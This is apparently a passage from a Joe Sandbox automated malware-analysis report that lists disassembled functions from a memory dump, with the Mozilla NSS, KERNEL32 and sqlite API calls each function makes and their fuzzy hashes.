Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B906B

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C6B7313), ref: 6C6B9128

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 1118a76c51b2bf7d005021de871d9f0fcf22768da21067c2da13a14fda83640f
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 9251C571B002029FEB10CF6ADC84B66B3F9AF5535CF154029D919E7B61EB31E824CB99

Function 6C669C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6C668850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C670715), ref: 6C668859
Part of subcall function 6C668850: PR_NewLock.NSS3 ref: 6C668874
Part of subcall function 6C668850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C66888D

PR_NewLock.NSS3 ref: 6C669CAD

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

TlsGetValue.KERNEL32 ref: 6C669CE8
EnterCriticalSection.KERNEL32(?,?,6C66ECEC,6C672FCD,00000000,?,6C672FCD,?), ref: 6C669D01
TlsGetValue.KERNEL32(?,?,?,6C66ECEC,6C672FCD,00000000,?,6C672FCD,?), ref: 6C669D38
EnterCriticalSection.KERNEL32(?,?,6C66ECEC,6C672FCD,00000000,?,6C672FCD,?), ref: 6C669D4D
PR_Unlock.NSS3 ref: 6C669D70
PR_Unlock.NSS3 ref: 6C669DC3
PR_NewLock.NSS3 ref: 6C669DDD

Part of subcall function 6C6688D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C670725,00000000,00000058), ref: 6C668906
Part of subcall function 6C6688D0: EnterCriticalSection.KERNEL32(?), ref: 6C66891A
Part of subcall function 6C6688D0: PL_ArenaAllocate.NSS3(?,?), ref: 6C66894A
Part of subcall function 6C6688D0: calloc.MOZGLUE(00000001,6C67072D,00000000,00000000,00000000,?,6C670725,00000000,00000058), ref: 6C668959
Part of subcall function 6C6688D0: memset.VCRUNTIME140(?,00000000,?), ref: 6C668993
Part of subcall function 6C6688D0: PR_Unlock.NSS3(?), ref: 6C6689AF

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 16ffbc0eee022dd8d4f19984e61c664a825e7ccbb00e0224b299be9e0c7074e2
Instruction ID: 271d795eabe133716e4a3ebc560ee475c165bab5e11df6b6703635b577ec94e0
Opcode Fuzzy Hash: 16ffbc0eee022dd8d4f19984e61c664a825e7ccbb00e0224b299be9e0c7074e2
Instruction Fuzzy Hash: 4B512FB1A04B059FDB00EF6AC1846AABBF0BF45359F158579DC58DBB10DB30E844CB96

Function 6C769EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C769EC0
EnterCriticalSection.KERNEL32(?), ref: 6C769EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6C769F73
EnterCriticalSection.KERNEL32(?), ref: 6C769FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6C769FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6C769FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6C76A01D

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 27715d48be9f4901838586b9dcfc896132b063bb0550e47053d1935e484af39d
Instruction ID: 61baa99fa17096382ba63133418b06fe56d12a166b076a6e473674de3ffa805a
Opcode Fuzzy Hash: 27715d48be9f4901838586b9dcfc896132b063bb0550e47053d1935e484af39d
Instruction Fuzzy Hash: 9451B0B2804600CBCB109F26D58868AB7F4FF64319F298669DC5957F12E731F886CB91

Function 6C65DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C65DCFA

Part of subcall function 6C719DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DC6
Part of subcall function 6C719DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DD1
Part of subcall function 6C719DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C719DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C65DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C65DD62
CERT_DestroyCertificate.NSS3(?), ref: 6C65DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6C65DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6C65DD8F

Part of subcall function 6C6706A0: TlsGetValue.KERNEL32 ref: 6C6706C2
Part of subcall function 6C6706A0: EnterCriticalSection.KERNEL32(?), ref: 6C6706D6
Part of subcall function 6C6706A0: PR_Unlock.NSS3 ref: 6C6706EB

CERT_DestroyCertificate.NSS3(?), ref: 6C65DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6C65DDB7

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 75308090a03ca7ff080c6872ac23569e8089fd4e6db1a8bfcab270df3e12f8c8
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: E521AEB6E011159BDB019EA4DD409DEB7B4AF05308B640120EC04A7751E731E925CBE9

Function 6C6E5F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5F72

Part of subcall function 6C64ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C64ED8F
Part of subcall function 6C64ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C64ED9E
Part of subcall function 6C64ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C64EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5FCC
free.MOZGLUE(?,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5FF4
free.MOZGLUE(?,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E6019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E6036

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 8b6ddf51654b6fcd89aceaec230d11715ddfb6fb7b2ead6a7c83e2a8ecc468d9
Instruction ID: 85b8e10f4464134d8304c148a1eeaba928fd1525a6f75363e819190abc4766dd
Opcode Fuzzy Hash: 8b6ddf51654b6fcd89aceaec230d11715ddfb6fb7b2ead6a7c83e2a8ecc468d9
Instruction Fuzzy Hash: 8E214DF1605B04ABEB10DFB5D808BD7B7E8AB45709F104829E46A87640EB36E018CB95

Function 6C653C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6C6C460B,?,?), ref: 6C653CA9
EnterCriticalSection.KERNEL32(?), ref: 6C653CB9
PL_HashTableLookup.NSS3(?), ref: 6C653CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6C653CD6
PR_Unlock.NSS3 ref: 6C653CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6C653CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C653D03
PR_Unlock.NSS3 ref: 6C653D15

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 5874ddfac48d1ff5d4ed32b419dd8fac6cda90ce9471892bdd86b74b58a39d1d
Instruction ID: 40711929105b53e86b35d31f1af212b21117df19df79e3feea97f50c1144fa1b
Opcode Fuzzy Hash: 5874ddfac48d1ff5d4ed32b419dd8fac6cda90ce9471892bdd86b74b58a39d1d
Instruction Fuzzy Hash: 2A112976E01505B7DB012A24EC458EA7AB9EB0365CB644230ED1883711FB22DD6887ED

Function 6C659C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6711C0: PR_NewLock.NSS3 ref: 6C671216

free.MOZGLUE(?), ref: 6C659E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C659E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C659E4E
TlsGetValue.KERNEL32 ref: 6C659EA2

Part of subcall function 6C669500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6C669546

EnterCriticalSection.KERNEL32(?), ref: 6C659EB6
PR_Unlock.NSS3 ref: 6C659ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C659F18

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: f841b5232693abdeb704e6aef74167c4fcc339216670cb212d2d97bef4e8296e
Instruction ID: bf6fb96ee20f04ec27decf56e545c5e7866ffa2f4629c2568f9682be72745609
Opcode Fuzzy Hash: f841b5232693abdeb704e6aef74167c4fcc339216670cb212d2d97bef4e8296e
Instruction Fuzzy Hash: 2881D6B1A00601ABEB109F35DC40AAB77A5FF4534CF644529EC4987F41FB31E926C7AA

Function 6C66DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(D958E852,6C671397,5B5F5EC0,?,?,6C66B1EE,2404110F,?,?), ref: 6C66AB3C
Part of subcall function 6C66AB10: free.MOZGLUE(D958E836,?,6C66B1EE,2404110F,?,?), ref: 6C66AB49
Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(5D5E6C86), ref: 6C66AB5C
Part of subcall function 6C66AB10: free.MOZGLUE(5D5E6C7A), ref: 6C66AB63
Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C66AB6F
Part of subcall function 6C66AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C66AB76

TlsGetValue.KERNEL32 ref: 6C66DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6C66DD0E
PK11_IsFriendly.NSS3(?), ref: 6C66DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6C66DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C66DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C66DEA6
PR_Unlock.NSS3(?), ref: 6C66DF08

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: e0c3c732dfdc5830ee9126956f7c12eb570eacb3ce067154c2a4ac9e71544151
Instruction ID: d00dbbd56c412867d588a8067fd6faf6469e31a6d258b9f87141ad6a6c9d8780
Opcode Fuzzy Hash: e0c3c732dfdc5830ee9126956f7c12eb570eacb3ce067154c2a4ac9e71544151
Instruction Fuzzy Hash: 2B91E7B5A001059FDB00CF6AD880BAAB7B1BF45308F254029DC199BF51E731E916CBDB

Function 6C625FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6C70BB62,00000004,6C774CA4,?,?,00000000,?,?,6C5E31DB), ref: 6C6260AB
sqlite3_config.NSS3(00000004,6C774CA4,6C70BB62,00000004,6C774CA4,?,?,00000000,?,?,6C5E31DB), ref: 6C6260EB
sqlite3_config.NSS3(00000012,6C774CC4,?,?,6C70BB62,00000004,6C774CA4,?,?,00000000,?,?,6C5E31DB), ref: 6C626122

Strings

misuse, xrefs: 6C62609F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C626095
%s at line %d of [%.10s], xrefs: 6C6260A4

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: be90d4aa4045ccb1d0bd0780dd6ee616077f806407f93de0189e31b9e6241691
Instruction ID: 5360ceb3e9d9a8386c35ad17815fb830af36a3fda2fbb310bd86d8b28e21728c
Opcode Fuzzy Hash: be90d4aa4045ccb1d0bd0780dd6ee616077f806407f93de0189e31b9e6241691
Instruction Fuzzy Hash: 9BB19370E0464ACFDB05CF9DD2909AEB7F0FB1E304B158169D509AB322E730AA94DF95

Function 6C5D4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5D4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5D51BB

Strings

misuse, xrefs: 6C5D51AF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5D51A5
unable to delete/modify user-function due to active statements, xrefs: 6C5D51DF
%s at line %d of [%.10s], xrefs: 6C5D51B4

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 23aec3158eb36cd71a922ca6464db2d7ac32d2646da115e5aa56edf0d904808a
Instruction ID: af64a388a2ca5f424c4088241856b29a800d45edfbb198c0252b61ad341ef0ba
Opcode Fuzzy Hash: 23aec3158eb36cd71a922ca6464db2d7ac32d2646da115e5aa56edf0d904808a
Instruction Fuzzy Hash: 1C71ADB160430ADBEB00CF59CD80B9A77B9FB48308F4A4524ED199BB81D331F951CBA5

Function 6C6BFF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6C6BF165,6C78219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6BFFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6C00A6

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: e5954106316e0adad9ac5951d6584b2d4173e4d74106c445bc85aefab938f538
Instruction ID: f2a42c00d9861a02541a936d824fe086fc86be7112a926e75ffeeb0257798d95
Opcode Fuzzy Hash: e5954106316e0adad9ac5951d6584b2d4173e4d74106c445bc85aefab938f538
Instruction Fuzzy Hash: DD5115B5F042559FDB108E99C8807AEB7B5FB49318F260229DD15B7B40D332AC10CBDA

Function 6C67DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C67DF37
EnterCriticalSection.KERNEL32(?), ref: 6C67DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67DF96
PR_SetError.NSS3(00000000,00000000), ref: 6C67E02B
PR_Unlock.NSS3(?), ref: 6C67E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C67E090
PR_Unlock.NSS3(?), ref: 6C67E0AF

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
